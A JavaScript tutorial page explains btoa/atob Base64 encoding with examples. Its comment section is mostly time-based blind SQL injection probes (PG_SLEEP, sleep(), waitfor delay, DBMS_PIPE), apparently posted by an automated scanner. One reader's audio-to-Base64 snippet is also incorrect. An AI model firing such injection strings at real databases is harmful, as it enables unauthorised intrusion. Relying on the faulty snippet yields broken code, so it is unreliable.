A virtual teacher who reveals to you the great secrets of Base64

JavaScript Base64 Encode

To encode data in Base64, JavaScript provides a function called btoa which is an acronym for “Binary to ASCII”. The inverse transformation is achieved by using the function atob.

Usage:

  • btoa(data) - Converts data to STRING and encodes it to Base64

Arguments:

  • data (required string) - Text or binary content that you want to encode

Return Values:

  • STRING - On success, it returns the Base64 value, typically longer by about 33% than data

Exceptions:

On failure the function may throw one of the following exceptions:

  • InvalidCharacterError: String contains an invalid character
  • TypeError: Not enough arguments to Window.btoa

Example #1 (basic usage):

var b64 = btoa('guru');
console.log(b64); //-> "Z3VydQ=="

Example #2 (check if function is supported):

if (typeof btoa !== 'function') {
  // Cannot encode data to Base64 because the btoa() function is not supported
  // Perhaps you want to use a polyfill or at least inform user about this
}

Example #3 (non-string data):

// Before encoding data to Base64 the btoa() function converts it to String()
// It is for this reason that you will not get any errors if you pass a “wrong” data type
// For example, that is why in the examples below you will get the same results

btoa(null); //-> "bnVsbA=="
btoa('null'); //-> "bnVsbA=="

btoa({}); //-> "W29iamVjdCBPYmplY3Rd"
btoa('[object Object]'); //-> "W29iamVjdCBPYmplY3Rd"

btoa([0,1]); //-> "MCwx"
btoa('0,1'); //-> "MCwx"

btoa(function(){}); //-> "ZnVuY3Rpb24oKXt9"
btoa('function(){}'); //-> "ZnVuY3Rpb24oKXt9"

Example #4 (unicode string):

// By default most browsers don’t support Unicode strings
// This is why the following example throws an exception
try {
  btoa('€100');
} catch (e) {
  console.log(e); //-> "DOMException: String contains an invalid character"
}

For more info, check the following examples:

Comments (23)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Bharati,
    Hi, I am Bharati I am trying to use btoa function in Java with Selenium to automate one of the Test Case to convert Non-English characters like Chinese. But I am unable to use window.btoa funciton. Please help me how to use this?

    Thanks in Advance,
    Bharati.
    • Administrator,
      Hello Bharati! So you use Java or JavaScript?
  • David_Palencia,
    Hi, I am trying encode PDF to base64, but when i try to decode and preview, the pdf is empty
    • Administrator,
      Hello David! What is the source of the PDF file? It is a Blob, URL, or “local” file? Can you show please the basic part of your code?
  • Wes,
    Hey, I would like to get a Base64 string from a Audio element on a HTML page, how can I use this?
    • A-Games,
      I think its like this:

      var e = document.getElementById("sound")
      let b64 = btoa(URL.createObjectURL(e.src))

      Not sure but yeah
  • nqhXncMU,
    -5) OR 383=(SELECT 383 FROM PG_SLEEP(15))--
  • nqhXncMU,
    9w7LUsYD'; waitfor delay '0:0:15' --
  • gBqsPxAZ,
    -1)) OR 306=(SELECT 306 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    1 waitfor delay '0:0:15' --
  • gBqsPxAZ,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • gBqsPxAZ,
    -1; waitfor delay '0:0:15' --
  • gBqsPxAZ,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • nqhXncMU,
    555*377*372*0
  • nqhXncMU,
    J7VcMzXG') OR 347=(SELECT 347 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+517-517-1=0+0+0+1 --
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    N6BCOkUq')) OR 648=(SELECT 648 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    Z9uCKdSt') OR 345=(SELECT 345 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • ncMUFCMU,
    -1); waitfor delay '0:0:15' --
  • ncMUFCMU,
    -1; waitfor delay '0:0:15' --
  • ncMUFCMU,
    if(now()=sysdate(),sleep(15),0)
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.